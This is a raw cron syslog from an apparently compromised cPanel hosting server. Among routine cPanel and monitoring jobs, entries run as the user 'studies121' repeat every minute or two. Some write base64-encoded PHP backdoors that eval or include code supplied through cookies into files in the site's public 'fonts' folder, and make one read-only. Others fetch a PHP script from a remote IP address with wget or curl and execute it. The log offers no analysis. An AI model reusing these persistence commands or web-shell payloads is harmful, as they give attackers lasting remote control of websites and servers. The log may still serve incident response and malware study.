Sep 21 22:25:01 ip-184-168-122-23 CROND[27652]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 22:25:01 ip-184-168-122-23 CROND[27653]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 22:25:01 ip-184-168-122-23 CROND[27654]: (root) CMD (/usr/local/cpanel/bin/mysqluserstore >/dev/null 2>&1)
Sep 21 22:25:01 ip-184-168-122-23 CROND[27658]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 21 22:25:01 ip-184-168-122-23 CROND[27655]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 21 22:25:01 ip-184-168-122-23 CROND[27659]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 22:25:01 ip-184-168-122-23 CROND[27663]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 22:26:01 ip-184-168-122-23 CROND[27781]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 21 22:26:01 ip-184-168-122-23 CROND[27783]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 22:26:01 ip-184-168-122-23 CROND[27785]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 22:26:01 ip-184-168-122-23 CROND[27784]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 22:26:01 ip-184-168-122-23 CROND[27786]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 22:27:01 ip-184-168-122-23 CROND[27892]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 22:27:01 ip-184-168-122-23 CROND[27895]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 22:27:01 ip-184-168-122-23 CROND[27896]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 22:27:01 ip-184-168-122-23 CROND[27897]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 22:28:01 ip-184-168-122-23 CROND[28003]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 22:28:01 ip-184-168-122-23 CROND[28005]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 22:28:01 ip-184-168-122-23 CROND[28007]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 21 22:28:01 ip-184-168-122-23 CROND[28006]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 22:28:01 ip-184-168-122-23 CROND[28008]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 22:29:01 ip-184-168-122-23 CROND[28138]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 22:29:01 ip-184-168-122-23 CROND[28139]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 22:29:01 ip-184-168-122-23 CROND[28142]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 22:29:01 ip-184-168-122-23 CROND[28143]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 22:30:01 ip-184-168-122-23 CROND[28260]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 22:30:01 ip-184-168-122-23 CROND[28261]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 21 22:30:01 ip-184-168-122-23 CROND[28266]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 22:30:01 ip-184-168-122-23 CROND[28267]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 21 22:30:01 ip-184-168-122-23 CROND[28265]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 22:30:01 ip-184-168-122-23 CROND[28268]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 22:30:01 ip-184-168-122-23 CROND[28264]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 21 22:30:01 ip-184-168-122-23 CROND[28263]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 21 22:31:01 ip-184-168-122-23 CROND[28385]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 22:31:01 ip-184-168-122-23 CROND[28386]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 22:31:01 ip-184-168-122-23 CROND[28388]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep 21 22:31:01 ip-184-168-122-23 CROND[28389]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 22:31:01 ip-184-168-122-23 CROND[28394]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 22:32:01 ip-184-168-122-23 CROND[28488]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 21 22:32:01 ip-184-168-122-23 CROND[28489]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 22:32:01 ip-184-168-122-23 CROND[28490]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 22:32:01 ip-184-168-122-23 CROND[28493]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 22:32:01 ip-184-168-122-23 CROND[28495]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 22:33:01 ip-184-168-122-23 CROND[28669]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 22:33:01 ip-184-168-122-23 CROND[28670]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 22:33:01 ip-184-168-122-23 CROND[28673]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 22:33:01 ip-184-168-122-23 CROND[28676]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 22:34:01 ip-184-168-122-23 CROND[28787]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 22:34:01 ip-184-168-122-23 CROND[28791]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 22:34:01 ip-184-168-122-23 CROND[28790]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 22:34:01 ip-184-168-122-23 CROND[28789]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 21 22:34:01 ip-184-168-122-23 CROND[28792]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 22:35:01 ip-184-168-122-23 CROND[28908]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 22:35:01 ip-184-168-122-23 CROND[28911]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check && /usr/local/cpanel/bin/tail-check)
Sep 21 22:35:01 ip-184-168-122-23 CROND[28910]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 22:35:01 ip-184-168-122-23 CROND[28912]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep 21 22:35:01 ip-184-168-122-23 CROND[28913]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 22:35:01 ip-184-168-122-23 CROND[28915]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 22:35:01 ip-184-168-122-23 CROND[28916]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 21 22:35:01 ip-184-168-122-23 CROND[28917]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 21 22:36:01 ip-184-168-122-23 CROND[29033]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 22:36:01 ip-184-168-122-23 CROND[29035]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 22:36:01 ip-184-168-122-23 CROND[29037]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 22:36:01 ip-184-168-122-23 CROND[29038]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 22:36:01 ip-184-168-122-23 CROND[29036]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 21 22:37:01 ip-184-168-122-23 CROND[29157]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
